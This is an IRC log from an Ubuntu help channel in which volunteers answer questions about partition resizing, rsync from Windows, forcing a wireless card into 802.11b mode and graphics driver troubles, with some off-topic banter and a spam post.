[09:19] <holyguyver_> Flannel, you seem to be an intellagent & reasonable man, so I will address my next question to you. What is the easist & safeest way to shrink & expand partisions including my system partision, or can you give me a link that tells me in lamen terms how to move my home folder onto a different partision?
[09:20] <Flannel> !home | holyguyver_
[09:20] <Meneertje> wheeze, did you try to install it again? Perhaps its just a minor hiccup.
[09:20] <Ademan> holyguyver_: gparted will let you resize partitions in a graphical manner, moving your /home to a different partition will probably involve editing your /etc/fstab though
[09:20] <holyguyver_> Flannel, See I knew you would be the right man to ask :) you answer things straight forward & easily, thanks
[09:20] <Flannel> holyguyver_: gparted on a liveCD (includes the Desktop CD), since you can't fiddle with partitions when they're mounted.  And, for the record, a good number of people in this channel could've answered that.
[09:21] <SegFaultAX> holyguyver_: boot up on the live cd and use gparted to resize the partition
[09:21] <lovinglinux> Hi everyone. I would like to know if someone else is experiencing issues with the Ubuntu forums in the last 24 hours?
[09:21] <Flannel> lovinglinux: Try #ubuntuforums
[09:22] <lovinglinux> Flannel:  sorry, didn't know that channel
[09:22] <Flannel> lovinglinux: No worries.  But they'll be able to answer better than we can.
[09:22] <holyguyver_> Ademan, what is fstab?
[09:22] <lovinglinux> Flannel: thanks. cya
[09:23]  * outbackwifi thinks this is not the place for a linux primer
[09:23] <Ademan> holyguyver_: the link flannel sent you should cover it all
[09:24] <holyguyver_> Ademan,  thanks, see I knew Flannel was the right man to ask :)
[09:24]  * Flannel is *a* right man to ask, hardly *the* right man.
[09:25] <holyguyver_> Flannel you The Man :p, but this is not the praise Flannel  channel, so I need to stop :p
[09:25]  * outbackwifi detects sarcasm
[09:25] <Flannel> mhmm.  For silly phrases, see #ubuntu-offtopic
[09:26]  * SegFaultAX detects kiss-assery
[09:27] <holyguyver_> outbackwifi, no sarcasm, I asked a question & he gave me a straight forward answer, so he was really great & a quick & good help for my question. I am very thankful to him.
[09:27] <neil_d> hi, I have a problem, gnome operation has changed, I used to be able to activate a window by clicking the mouse anywhere in the window :), but ATM I have to click on the title bar at the top :(  How can I fix this ?
[09:27] <holyguyver_> SegFaultAX,  Yes you do detect kiss0assery :)
[09:28]  * outbackwifi now feels juvenile delinquency peaking
[09:28] <oni_> hi
[09:28] <ActionParsnip> yo yo yo
[09:28] <SegFaultAX> whats up?
[09:28] <holyguyver_> SegFaultAX, but at least that proves I am not a troll, I am a kissass & proud of it :p .
[09:28] <ActionParsnip> nice name SegFaultAX
[09:29] <oni_> huhu
[09:29] <ActionParsnip> what exactly is a segmentation?
[09:29] <ActionParsnip> and why is it always faulty
[09:29] <Flannel> holyguyver_, SegFaultAX, outbackwifi: for further discussion of this topic, please see #ubuntu-offtopic, and discussion regarding nicks too ActionParsnip.
[09:29] <ActionParsnip> ;)
[09:30] <oni> test
[09:30] <oni> ha
[09:30] <ActionParsnip> Flannel: its ontopic. I would like to know what a segfault exactly is
[09:30] <outbackwifi> google it
[09:30] <ActionParsnip> Flannel: is that offtopic, Im happy to go to #offtopic
[09:30] <SegFaultAX> ActionParsnip: in its simplest terms, it occurs when a program tries to write into protected memory
[09:31] <SegFaultAX> ActionParsnip: usually resulting in a core dump
[09:31] <fasttrac1> hy all, i just installed vmware server on 8.04 64 bit
[09:31] <fasttrac1> its working fine
[09:31] <oni> where can i get
[09:31] <oni> /usr/src/linux/include/linux/autoconf.h:
[09:31] <ActionParsnip> oni: do you have build-essential installed?
[09:31] <fasttrac1> just that i cant figure how to use the "bridged" vmnet.
[09:31] <oni> yes
[09:32] <holyguyver_> Flannel,  instead of going to offtopic I PMed outbackwifi
[09:32] <fasttrac1> any idea on how to test whether the bridged works?
[09:32]  * outbackwifi ignores pms
[09:32] <webDEViL> fasttrac1 you should be able to ping the world :D
[09:33] <holyguyver_> Alright outbackwifi then I will say it in here. I said "outbackwifi, I con only be an adult deliquant, I can hardly be a juvenile delinquent at age 24."
[09:33] <fasttrac1> i am trying to install cisco unified call manager 6.0, as a redhat image. But, the network script in there tells me that connection to bridged gateway cannot be found.
[09:33] <fasttrac1> ;(
[09:33] <stefanutz_g08> check http://housevibes.blogspot.com for the latest mixes and tracklists from the best dj's in the world.trance,electro,techno,minimal and more.try it,you won't be dissapointed;)
[09:33] <fasttrac1> i gave gateway adress as the address of my eth0.
[09:34] <SegFaultAX> fasttrac1: are you doing a net - install?
[09:34] <IndyGunFreak> fasttrac1: as a redhat image?
[09:34] <Flannel> stefanutz_g08: Don't advertise here.
[09:34] <stefanutz_g08> ok
[09:34] <fasttrac1> cucm6.0 is a redhat iso
[09:34] <fasttrac1> redhat 3.0
[09:34] <stefanutz_g08> but where can i advertise?:D
[09:34] <stefanutz_g08> because my blog it's new:D
[09:34] <Flannel> stefanutz_g08: Not here.
[09:34] <stefanutz_g08> and i want to get some traffic on it
[09:34] <fasttrac1> advertise?
[09:35] <ActionParsnip> Flannel: least hes not a bot
[09:35] <fasttrac1> where else? in google.. have sense.. use adsense.. haha
[09:35] <stefanutz_g08> not advertise,because the music on it it's free
[09:35] <MorpheusX[NL]> goodmorning
[09:35] <dorto> stefanutz_g08, search Google for some ways to promote your blog or ask in #wordpress etc. But not here.
[09:35] <stefanutz_g08> you say advertise when you wanna sell something
[09:35] <stefanutz_g08> ok,thanks
[09:35] <Flannel> stefanutz_g08: Please stop.  This isn't the place.  And we don't know where you should go.  Try #ubuntu-offtopic
[09:35] <fasttrac1> no...
[09:35] <fasttrac1> u say adverts when u wanna market something
[09:35] <holyguyver_> stefanutz_g08, fine then, no promoting in here.
[09:35] <fasttrac1> even u can adverise ideas....
[09:36] <stefanutz_g08> okey
[09:36] <SegFaultAX> MorpheusX[NL]: morning!
[09:36] <pirat> всем привет
[09:36] <Flannel> !ru | pirat
[09:37] <holyguyver_> guten abend
[09:37] <MorpheusX[NL]> i have set up / installed rsync on ubuntu and what i want to do is to pull data from this ubuntu machine from windows xp. does anyone know how to this
[09:37] <roachmmflhyr> i need a little help with samba and permissions.... my ultimate goal is to setup a file server that users can create and access files without deleting them and have their own shares to read and write to.
[09:37] <fasttrac1> stefanutz_g08: release a good quality scene in some good trackers like piratebay... adverts in nfo files.. are widely respected and viewed.. ;)
[09:38] <holyguyver_> Kann ich Deutsches innen sprechen hier?
[09:38] <Flannel> !de | holyguyver_
[09:38] <holyguyver_> Flannel, danke.
[09:38] <erUSUL> !ssh | MorpheusX[NL]
[09:38] <Flannel> holyguyver_: No.  This channel is english only.
[09:38] <fasttrac1> so guys... any idea on my vmnet problem?
[09:38] <fasttrac1> i cant seem to find it in ifconfig ;(
[09:39] <MorpheusX[NL]> erUSUL how would i accomplish this i have openssh installed
[09:39] <MorpheusX[NL]> on ubuntu
[09:39] <SegFaultAX> MorpheusX[NL]: ssh, sftp, scp, rcp, and others. alternatively you could look into setting up a temporary samba server
[09:39] <fasttrac1> i used vmware in windows and the new vmnets would show us in my network devices...
[09:39] <ActionParsnip> MorpheusX[NL]: do you have the server or client installed?
[09:39] <erUSUL> MorpheusX[NL]: use winscp or putty from windows to copy the files...
[09:40] <MorpheusX[NL]> i have putty on windows
[09:40] <SegFaultAX> MorpheusX[NL]: you could use puttysftp (http://www.chiark.greenend.org.uk/~sgtatham/putty/)
[09:40] <holyguyver_> I made a mistake well typing something, & now how do I get whiteout off of my monitor?
[09:40] <MorpheusX[NL]> because i want to sync folders from ubuntu with xp that's the thing so it would be a nightly thing
[09:41] <ActionParsnip> MorpheusX[NL]: rsync maybe?
[09:41] <MorpheusX[NL]> yeah i was reading about that ActionParsnip but i can't seem to figure out how to do that from windows
[09:42] <SegFaultAX> MorpheusX[NL]: you might consider writing a script that marks files for downloading based on their last touch time
[09:42] <ActionParsnip> MorpheusX[NL]: or you could samba share the linux folder
[09:42] <Flannel> ActionParsnip: you can use sftp.  Not the same as rsync obviously.  I... dont doubt that theres an rsync client for windows though.
[09:42] <MorpheusX[NL]> because the machine that is going to pull the files is windows that is the problem
[09:42] <ActionParsnip> Flannel: fire that at MorpheusX[NL] ;)
[09:43] <ActionParsnip> MorpheusX[NL]: simple then, samba share the files and map a network drive
[09:43] <Flannel> MorpheusX[NL]: yes, thats for you.  As far as sftp goes, filezilla is a nice free GUI client.
[09:43] <Alpha232> mooooo
[09:43] <Alpha232> :)
[09:43] <ActionParsnip> MorpheusX[NL]: then enable offline files, when you log off, you will take a copy
[09:43] <MorpheusX[NL]> ActionParsnip enable offline files
[09:43] <MorpheusX[NL]> ?
[09:43] <ActionParsnip> MorpheusX[NL]: next time you log in you wll see whats new and update as needed so the server is always uptodate
[09:44] <MorpheusX[NL]> it is going to be a remote thing
[09:44] <SegFaultAX> MorpheusX[NL]: google "rsync windows client", might be a useful place to start
[09:44] <Sobaka> Hello people. Can somebody tell me if cups is a udp or tcp service?
[09:45] <ActionParsnip> MorpheusX[NL]: no, youll have a cached set of files on your windows system, when you log off it'll be made local but the system will think its remote
[09:45] <MorpheusX[NL]> ok SegFaultAX but is it possible to pull files with a client
[09:45] <ActionParsnip> MorpheusX[NL]: when you log in the chanegs (as someone said about last touched) will update onto the server
[09:45] <ActionParsnip> MorpheusX[NL]: http://www.microsoft.com/windowsxp/using/mobility/learnmore/offlinefiles.mspx
[09:45] <Alpha232> so hmm
[09:46] <ActionParsnip> MorpheusX[NL]: this can take a while if you have lots of data so keep it as slim as possible
[09:46] <SegFaultAX> MorpheusX[NL]: you might be able to setup tasks, somewhat like a crontab
[09:46] <Alpha232> is there a way to pxe jumpstart an install without any local console access so only via ssh
[09:46] <sajuuk> hey guys still havin probs with xwinwrap, I maanged to get the scfreensaver bit to work but i cant get the movie part of it to work
[09:46] <sajuuk>  xwinwrap -ni -fs -s -st -sp -b -nf -- mplayer -wid WID -nosound /titan.avi -loop 0
[09:46] <sajuuk> mplayer: No such file or directory
[09:46] <sajuuk> mplayer died, exit status 2
[09:46] <FloodBot3> sajuuk: Please don't flood, use http://paste.ubuntu.com to paste, don't use Enter as punctuation.
[09:47] <EdUdE> i want a net search panel app similar to that of firefoxes any suggestions?
[09:47] <Ademan> EdUdE: i think the deskbar applet can search the web
[09:47] <Flannel> Alpha232: Try https://help.ubuntu.com/community/Installation#Server%20and%20network%20installations those links
[09:47] <EdUdE> the deskbar dosent work for me
[09:47] <MorpheusX[NL]> ActionParsnip previously we used rdiff but this tool pulls complete files while rsync pulls fragments. So I think if i am going to us sftp i think i run into the same problem off large files
[09:47] <Ademan> EdUdE: what's wrong with it?
[09:48] <atmarte> hi.  how do i active the dictionary in open office.  i updated the dict already  using the install new dictionary wizzard.  i'm using hardy heron and my open office is vesion 2.4
[09:48] <ActionParsnip> MorpheusX[NL]: indeed
[09:48] <EdUdE> when i click on it brings up the box but dosent list any options
[09:48] <Alpha232> Flannel: thankyou
[09:48] <ActionParsnip> sajuuk: http://swik.net/xwinwrap
[09:48] <SegFaultAX> MorpheusX[NL]: DeltaCopy is a wrapper for rsync for windows, and it does incremental backups
[09:49] <SegFaultAX> MorpheusX[NL]: and it may be taskable under windows
[09:49] <ActionParsnip> MorpheusX[NL]: if windows is pulling the files over id ask in ##windows\
[09:50] <ActionParsnip> MorpheusX[NL]: as the linux system is accessible and ok, you just need some windows software to pull the data over
[09:50] <Ademan> EdUdE: if you right click on it and hit preferences you can add the "yahoo search" extension
[09:50] <ActionParsnip> good ol yahoo :)
[09:51] <atmarte>  hi.  how do i active the dictionary in open office.  i updated the dict already  using the install new dictionary wizzard.  i'm using hardy heron and my open office is vesion 2.4
[09:51] <BunTai> i want a software like internet download manager for my ubuntu
[09:51] <MorpheusX[NL]> SegFaultAX i looked at deltacopy but it demands that the app is also installed on the other side
[09:51] <BunTai> any suggestion?
[09:52] <ActionParsnip> BunTai: if you use firefox you can pause downloads already, is that what you mean?
[09:52] <OxFuego> selam millet
[09:52] <SegFaultAX> MorpheusX[NL]: well how big is the filesystem your syncing, and how big are the daily diffs?
[09:52] <MorpheusX[NL]> about 120gb
[09:52] <airtonix> ActionParsnip, he probably wants a gtk interface to wget
[09:53] <BunTai>  ActionParsnip : i want to download in other application
[09:53] <BunTai> firefox slow
[09:53] <MorpheusX[NL]> but effectively it will be around 50 gb all together
[09:53] <ckyle> is there a gtk interfc to wget?
[09:53] <ckyle> how get?
[09:53] <SegFaultAX> MorpheusX[NL]: and the daily diff size?
[09:53] <BunTai> can i get a software like inter download manager for my ubuntu?
[09:53] <airtonix> BunTai, then your other downloads will also be slow
[09:53] <MorpheusX[NL]> the daily diffs are about 2 gb
[09:53] <ActionParsnip> BunTai: downloads will only come down as fast as your connection
[09:54] <oni> i need autoconf.h :-(
[09:54] <rajec> hi I get error ERROR: Failed to build gem native extension. on ubuntu when  installing some ruby gems
[09:54] <BunTai> airtonix: no..when we using internet download manager..its more faster than usual
[09:54] <airtonix> provide a link to this IDM you speak of
[09:54] <Ademan> O_o that's an intense diff
[09:54] <Ademan> oni: what are you trying to do?
[09:54] <ActionParsnip> BunTai: gwget
[09:54] <BunTai> ActionParsnip:  i know..but when use internet download manager,it will increase full off speed connection
[09:54] <airtonix> BunTaiah so you have seen the difference between using your "idm" and firefox, whats stopping you using your idm?
[09:55] <ActionParsnip> BunTai: no, if you have a 4mb connection you will never be able to download faster than 4mbps
[09:55] <BunTai> airtonix:  because theres no IDM in ubuntu
[09:55] <BunTai> :)
[09:55] <airtonix> BunTai, i beg to differ
[09:55] <oni> Ademan: just try to compile asterisk bristuff
[09:55] <waan> Is there a way to set a wireless adapter to a specific mode? I have an intel pro wireless 2200 which only works in b mode, but ubuntu is trying to use mode g.
[09:55] <BunTai> ActionParsnip: yup i know that..i will download full..4mbps..but when using firefox downloader,its only half speed
[09:55] <Ademan> oni: have you run ./configure ?
[09:56] <BunTai> that why i want a software like IDM
[09:56] <airtonix> BunTai: " gwget " was suggested
[09:56] <BunTai> gwget?
[09:56] <ActionParsnip> waan: do you have a g speed router?
[09:56] <BunTai> ok
[09:56] <suwro> hello
[09:56] <BunTai> sudo apt-get install gwget
[09:56] <BunTai> ops
[09:56] <BunTai> wrong
[09:56] <SegFaultAX> MorpheusX[NL]: do you need to physically sync the data, or could you use the linux box as a remote file server
[09:56] <BunTai> brb
[09:57] <karname> hello , when i active compiz , my screan going to withe , what should i do ?
[09:57] <ActionParsnip> waan: http://www.debuntu.org/2006/03/27/9-how-to-ipw2200-getting-intel-pro-wireless-2200-bg-to-work-on-debian-ubuntu
[09:57] <suwro> I've seen on other distro's that vi nkow sintax of certain file type - colorizing the commands - How can I do the same thing here - I use often vi for several file editing.
[09:58] <ActionParsnip> waan: if you only have a b router and not g you will only run at b speed
[09:58] <ActionParsnip> waan: do you access files on the other systems a lot?
[09:58] <waan> AccessExcess, yes it supports g, but the card doesn't
[09:58] <oni> Ademan: it is the junghanns.net scriptset, i'll  have a look
[09:59] <ActionParsnip> waan: you will only go as fast as your slowest interface
[09:59] <waan> It's a problem with the card, I just need to set it for b only
[09:59] <SegFaultAX> suwro: put "Syntax on" in your .vimrc
[09:59] <ActionParsnip> waan: do you access files on the other systems a lot?
[09:59] <waan> AccessExcess, that's irrelivent. I just need to set the card to mode b
[10:00] <suwro> oh I found it.
[10:00] <ActionParsnip> waan: its relevant as if you dont im sure you dont have a 54mb www connection
[10:00] <OxFuego> hello ı have games screen black problems ı need help
[10:00] <suwro> edit .vimrc add :syntax enable
[10:00] <suwro> bye
[10:00] <ActionParsnip> waan: is b faster than g?
[10:01] <waan> ActionParsnip, it's nothing to do with the internet, I just need to set this card to mode b, simple.
[10:01] <waan> AccessExcess, no, obviously
[10:02] <ActionParsnip> waan: lemme websearch
[10:03] <waan> AccessExcess, im reading that link you gave for some info too, thanks
[10:04] <outbackwifi> actionparsnip: b hasbetter propagation and penetration than g
[10:04] <waan> AccessExcess, by the way, this card has a problem it isn'y just for Ubuntu. I have to do this in all my operating systems regardless or what network/external I am using
[10:05] <karname> today , when i turn my system on , x server restart and restart , i fixed it by recovery mod , but my compiz doesn't active , and when i select extra effect in appereanece , my display showing withe color , what should i do ?
[10:05] <SegFaultAX> waan: have you considered that it might be a bios setting?
[10:06] <outbackwifi> waan: your card should go into "b" mode when it tries to connect to a "b" access oint
[10:06] <outbackwifi> point
[10:06] <waan> SegFaultAX, yep I have an asus notebook and have tried all combinations of settings, also with drivers to get and get the card working in g
[10:06] <outbackwifi> waan: I am on an asus eeepc 701
[10:06] <waan> outbackwifi, As I said this is nothing to do with external equipment, just the card
[10:07] <waan> outbackwifi, and since nobody has b only wireless points anymore, the card will always select mode g over b
[10:07] <OxFuego> hello ı need help ı go the play linux games coming black efects :(
[10:07] <ActionParsnip> waan: anything in  System->Administration->Networking
[10:08] <outbackwifi> waan: exactly, so why do you need to move it to b?
[10:08] <waan> outbackwifi, because the card does not work in mode g
[10:08] <outbackwifi> what model is it?
[10:08] <outbackwifi> the asus
[10:08] <ActionParsnip> lets just find him how and not question his motives eh
[10:08] <waan> outbackwifi, m6br
[10:09] <waan> outbackwifi, all I need to do is force mode b, and all is good
[10:09] <waan> outbackwifi, it just seems nobody knows how to
[10:09] <waan> or if it is even possible
[10:10] <ActionParsnip> waan: im websearching my ass off :)
[10:11] <waan> AccessExcess, I've been searching before I came here but can't find much info.
[10:11] <rajec> guys for accessing on ftp you use terminal right ?:)
[10:11] <nnull> anyone tell me where id change the font size of my tooltip text?
[10:11] <erUSUL> waan: "sudo iwconfig wlan0 modu 11b" (next time man iwconfig ;P)
[10:11] <Liolikas> rajec: gftp
[10:11] <erUSUL> rajec: or agui client like gftp or filezilla
[10:11] <waan> AccessExcess, SegFaultAX outbackwifi, Just so everbody knows, there is a fault with this card, and it is easier for me to set mode b instead of replace the card itself.
[10:11] <nnull> anyone tell me where id find the option to "minimise the panel once clicked icon"
[10:12] <waan> erUSUL, I did man iwconfig, couldn't find anything about wireless modes, i'll check again
[10:12] <erUSUL> waan: no need to check i already answered your query
[10:13] <ActionParsnip> waan: maybe its a module option
[10:13] <waan> erUSUL, thank you I appologize I missed that before
[10:13] <cal-dis> Can someone point me to a website detailing how to revert from nvidia restricted back to the nv driver? My geforce 5200Go does not suspend so I want to go back to the nv driver but the picture is all blurry and fuzzy. Any suggestions?
[10:13] <erUSUL> karname: happens after a kernel upgrade? how did you installed your grpahic drivers
[10:13] <erUSUL> ?
[10:14] <nnull> anyone tell me where id change the font size of my tooltip text?
[10:14] <nnull> anyone tell me where id find the option to "minimise the panel once clicked icon"
[10:14] <erUSUL> waan: no problem
[10:14] <waan> AccessExcess, it's a hardware problem, but I've got the answer now thanks
[10:14] <OxFuego> ı need help  friends
[10:15] <erUSUL> OxFuego: only nvidia cards can do gaming + effects
[10:15] <waan> erUSUL, I've done my research I just needed the answer to my question, sometimes its frustrating but I guess you have to cooperate with everybody's questions to get it sometimes. Much appreciated
[10:15] <erUSUL> OxFuego: on the rest you have to disable them for gaming
[10:15] <erUSUL> waan: your wellcome
[10:16] <erUSUL> cal-dis: should be enough to change the driver from nvidia to nv on xorg.conf ...
[10:17] <ActionParsnip> erUSUL: you can game with ati cards dude
[10:17] <Bubbs> can anyone help me im having a problem with a ntfs hard drive where i cant access some files as they are saying there's a Input/output error
[10:17] <Liolikas> I need free ssh shell account...
[10:17] <erUSUL> ActionParsnip: but you have to disable compiz afaik; don't you ?
[10:17] <cal-dis> erUSUL, well the image of the laptop is all blurry - as it was in the beginning when i set up the laptop. Something does not work properly with the nv driver. I have searched but all infos only apply to the nvidia driver with a blurry picture.
[10:17] <shey> is there a similar app to gDesklets?
[10:18] <erUSUL> ActionParsnip: disable compiz ; then launch game ; enable again
[10:18] <ActionParsnip> erUSUL: no idea, i dont poison my system with such rubbish
[10:18] <IndyGunFreak> ActionParsnip: yeah, ATI sucks... :)
[10:18] <IndyGunFreak> or did you mean compiz?
[10:18] <ActionParsnip> IndyGunFreak: compiz sucks too
[10:18]  * IndyGunFreak agrees
[10:18] <shey> awww I was just rotating my cube too
[10:19] <erUSUL> cal-dis: try tweaking things with "gksudo displayconfig-gtk" maybe is becouse of monitor configuration
[10:19] <cal-dis> erUSUL, thanks will try that. :)
[10:19] <IndyGunFreak> shey: its cool for about a day, maybe two.. then i was like, 'Why did i install this resource hog again?"
[10:20] <IndyGunFreak> i do like desktop effects set to "normal" on my PC, but leave it at "None on my laptops"
[10:20] <ActionParsnip> IndyGunFreak: i just want my rig to do what i say, not do a dance and a song then do it
[10:20] <IndyGunFreak> ActionParsnip: i agree totally, i was just breaking yoru balls.
[10:20] <shey> is there a way to add maybe a 5px transparent border around the desktop?
[10:20] <dagonet> can anybody please explain to me about the note of changes in open office 2.4?it has red line box on it and how to remove it?
[10:20] <rajec> I sould like to have colorful terminal(different color for commands and output)
[10:20] <ActionParsnip> IndyGunFreak: fluxbox here dude :)
[10:20] <IndyGunFreak> :)
[10:21] <shey> <3 fluxbox
[10:21] <Liolikas> openbox>fluxbox ;)
[10:21] <GNU\colossus> anyone here using libvirt / kvm on 8.04?
[10:22] <ActionParsnip> Liolikas: how is it different?
[10:22] <Liolikas> not much but it has more configuration options
[10:22] <ActionParsnip> Liolikas: i usually edit .conf files manually
[10:22] <roachmmflhyr> i cannot preview wav files in hardy on a fresh install
[10:22] <shey> the only thing I hate about fluxbox is conguring the menu.
[10:23] <ActionParsnip> roachmmflhyr: are you fully updated?
[10:23] <oliver_> Gday people, need some help, im getting the white screen of death :(
[10:23] <Liolikas> so openbox have nice config files on XML
[10:23] <erUSUL> GNU\colossus: kvm yes to try out livecd's and such not heavy use
[10:23] <roachmmflhyr> ActionParsnip, yes i am
[10:23] <ActionParsnip> shey: i dont use it, just install yakuake and its all the menu i need, plus get idesk for desktop icons
[10:23] <ushimitsudoki> shey: you can specify workspace margins in xfce...is that the sort of thing you are after?
[10:23] <ActionParsnip> roachmmflhyr: thats all i got, sorry
[10:23] <Falcons> !gufw
[10:24] <roachmmflhyr> evolution will not play sound when new mail arrives
[10:24] <shey> ushimitsudoki: YES.. but I am in gnome.
[10:24] <oliver_> I have an ATI Radeon HD2600 PRO AGP i have installed the restricted drivers, but now i restart and i get the white screen of death
[10:24] <oliver_> i tried removing compiz but no luck
[10:24] <morningwalker> !ubuntustudio
[10:24] <oliver_> visual effects are also disabled
[10:24] <GNU\colossus> erUSUL: I see. have you ever tried remotely adminning a VM on any of your boxes via virt-manager?
[10:24] <MorpheusX[NL]> SegFaultAX could use the box as remote file server
[10:25] <erUSUL> GNU\colossus: no... sorry
[10:25] <GNU\colossus> erUSUL: thanks for your time, anyway :)
[10:26] <shey> UbuntuStudio!!   =O
[10:26] <MorpheusX[NL]> SegFaultAX did you had an brillian idea then
[10:26] <nnull> anyone tell me where id change the font size of my tooltip text?
[10:27] <nnull> anyone tell me where id find the option to "minimise the panel once clicked icon"
[10:27] <IndyGunFreak> nnull: minimize the panel?
[10:27] <SegFaultAX> MorpheusX[NL]: perhaps setting up samba as an NFS would be better suited for your needs
[10:27] <Falcons> are the links to download this broken or restricted
[10:27] <Falcons> http://www.ubuntu-unleashed.com/2008/06/introducing-gufw-uncomplicated-firewall.html
[10:28] <karname> erUSUL : i installed my graphic drivers
[10:28] <morningwalker> what is the security enforcer on ubuntu.... like SELinux on fedora...
[10:28] <morningwalker> !SELinux
[10:28] <erUSUL> karname: maybe a kernel or xserver related upgrade messed up the installation of the drivers and you have to reinstall.
[10:28] <MorpheusX[NL]> SegFaultAX i have samba installed
[10:29] <erUSUL> karname: that's the price you pay for using third party drivers (including envyng)
[10:29] <erUSUL> morningwalker: AppArmor but you can install selinux too iirc
[10:29] <ActionParsnip> erUSUL: envy is sweet
[10:29] <IndyGunFreak> lol
[10:30] <erUSUL> ActionParsnip: dunno never used/needed it :)
[10:30] <IndyGunFreak> its sweet all right... but sweet stuff, there's always a negative.. diabetes, weight gain, rotten teeth
[10:30] <oliver_> I am getting the white screen of death :(, im currently running in failsafe gnome
[10:30] <ActionParsnip> IndyGunFreak: erUSUL: just gotta change xorg back to nv driver before reboot
[10:31] <ActionParsnip> after kernel update
[10:31] <XB23> hey guys whats this mean
[10:31] <XB23> RX bytes:1430876967 (1.3 GB)  TX bytes:1827553425 (1.7 GB)
[10:31] <XB23> on ifconfig
[10:31] <shey> net in/out
[10:31] <ActionParsnip> rx == recieved, tx == transmitted
[10:32] <XB23> ah gotcha
[10:32] <ActionParsnip> and i still cant spell
[10:32] <XB23> since the box last rebooted?
[10:32] <XB23> or in total
[10:32] <MorpheusX[NL]> SegFaultAX strange thing but it seems that deltacopy can talk with my rsync on ubuntu
[10:32] <MorpheusX[NL]> it's backing up
[10:32] <MorpheusX[NL]> lol
[10:32] <ActionParsnip> XB23: since power on but they can be reset to 0
[10:32] <Falcons> so is gufw a bad link
[10:32] <XB23> gotcha
[10:32] <XB23> cheers
[10:32] <ActionParsnip> XB23: no worries bro
[10:33] <shey> man, the girl on the Oreck commercial ha sa hell of a booty.
[10:33] <shey> ok back to assistance.

[10:33] <shey> no
[10:33] <JAnxik> hi
[10:33] <Omeil> lol
[10:33] <shey> ?
[10:33] <ActionParsnip> Omeil: sure can. I do not need glasses
[10:33] <shey> who said that..
[10:34] <Omeil> Hehe, sorry just thought maybe i needed to register to be able to use this irc channel
[10:34] <ActionParsnip> you can register your nick so noone else can use it
[10:34] <shey> no, but you need to buy us a beer.
[10:34] <ActionParsnip> !register | Omeil
[10:34] <outbackwifi> waan: this is exactly the prob you posted --> http://ubuntuforums.org/showthread.php?t=358686
[10:35] <Omeil> thx
[10:35] <shey> so no beeR?
[10:35] <Falcons> http://gui-ufw.googlecode.com/files/gufw-0.0.3.deb
[10:35] <ActionParsnip> outbackwifi: nice one, yeah just set the AP to accept b only
[10:35] <shey> I feel bamboozeled.
[10:35] <outbackwifi> :p
[10:35] <Omeil> sorry shey :P
[10:35] <roachmmflhyr> im using hard and evolution will not play sound when new mail arrives any one know how to fix this?
[10:36]  * ActionParsnip is hooked on a feeling!
[10:36] <outbackwifi> roachmmflhyr: does your machine play sound otherwise?
[10:36] <ActionParsnip> roachmmflhyr: can you play other sounds?
[10:36] <roachmmflhyr> yes i can play the wav file with totem
[10:36] <Omeil> ActionParsnip, Would you know much about the white screen of death?
[10:36] <Babab00ie> i'm interested in getting one of those dell mini 9's laptops. they run with the ATOM intel processor.. anyway was wondering if anyone messed with it and ran Ubuntu on there
[10:36] <outbackwifi> WSOD?
[10:36] <IndyGunFreak> ActionParsnip: you have to love David Hasselhoff..lol
[10:36] <waan> outbackwifi, yep but I just used "iwconfig eth1 modu 11b" to fix it
[10:37] <ActionParsnip> IndyGunFreak: hes so naff hes great
[10:37] <outbackwifi> great waan
[10:37] <IndyGunFreak> lol
[10:37] <ActionParsnip> IndyGunFreak: its hilariously bad
[10:37] <outbackwifi> you changed modulation to DSSS
[10:37] <IndyGunFreak> yes it is.
[10:37] <ActionParsnip> IndyGunFreak: i got jump in my car for fretsonfire
[10:37] <waan> outbackwifi, I've already played with signal strenghts and rates and all sorts. Setting b is the only way to make the card work
[10:37] <IndyGunFreak> lol
[10:37] <roachmmflhyr> outbackwifi, i also got the preview working too ActionParsnip but i cant get evolution to play it when new mail arrives...even the play button to sample the wav under plugins/mail notifications doesnt work
[10:37] <waan> outbackwifi, thanks for your help too
[10:37] <ActionParsnip> waan: can you configure your AP to only run at B speed?
[10:38] <outbackwifi> actionparsnip:next patient please
[10:38] <Omeil> !whitescreenofdeath
[10:38] <ActionParsnip> roachmmflhyr: you told evolution what sound system to use?
[10:38] <waan> AccessExcess, yes but then everybody else will have slow speeds, since its a local problem to this device, it makes more sense to change it here
[10:38] <roachmmflhyr> ActionParsnip, where do you do that?
[10:38] <waan> AccessExcess, also im not confined to just this access point
[10:39] <ActionParsnip> roachmmflhyr: flick around the configs in the software, i dont use it so couldnt tell you
[10:39] <Babab00ie> anyone know about the dell mini 9 laptop that runs ubuntu 804 and the atom processor ?
[10:39] <outbackwifi> babab00ie: is it out yet?
[10:39] <ActionParsnip> Babab00ie: id imagine fairly well
[10:39] <waan> ActionParsnip,  yes but then everybody else will have slow speeds, since its a local problem to this device, it makes more sense to change it here
[10:39] <waan> ActionParsnip, also im not confined to just this access point
[10:39] <ActionParsnip> waan: hmm, i think you can set the rate in /etc/network/interface file
[10:40] <Babab00ie> outbackwifi, i do believe so. i'm customizing it on dells website
[10:40] <ActionParsnip> waan: id have a look at guides for that file
[10:40] <Omeil> Hey can someone give me a hand with the whitescreen of death problem
[10:40] <outbackwifi> hang on: let me go there
[10:40] <outbackwifi> Omeil: if we dont know what it is how can we?
[10:40] <waan> ActionParsnip, I fixed it with iwconfig eth1 modu 11b, thanks
[10:40] <outbackwifi> Omeil; did you fry your graphics?
[10:41] <Babab00ie> outbackwifi,  the onlything i don't know about with it is networking abilities. what does it use, 802.xx or does it use a 10/100 ethernet connection ya  know ?
[10:41] <jamesjeffery> he all. Not sure if you can help with XUbuntu. I am installing from a USB CD-ROM, i get as far as the keyboard layout selection and then it says it cannot detect a common cd-rom device. Any ideas on how to solve the issue?
[10:41] <Babab00ie> i did see something about bluetooth in there
[10:42] <ActionParsnip> waan: dope as hell. BAM!
[10:42] <outbackwifi> every netbook worth its salt should have at least Wi-Fi (802.11b/g) and 10/100 Ethernet
[10:42] <Omeil> outbackwifi: I just installed a ubuntu 8.04 and then it asked me about installing restricted drivers and i enabled the ati drivers, after i rebooted i get the login screen i log in then it just goes to a white screen. i am currently in failsafe-gnome
[10:42] <ActionParsnip> outbackwifi: webbooks should have 3g
[10:42] <waan> ActionParsnip, yep I just hope it remember after a reboot
[10:42] <outbackwifi> actionparsnip: only useful where you have 3g networks
[10:42] <Babab00ie> that's the thing though it's more of a palmtop than a notebook. the screen is 8''
[10:43] <ActionParsnip> waan: if its in /etc/network/interface it will be
[10:43] <outbackwifi> Babab00ie: ive got an asus 7021 4g
[10:43] <ActionParsnip> waan: or put it in a script and run it at logon
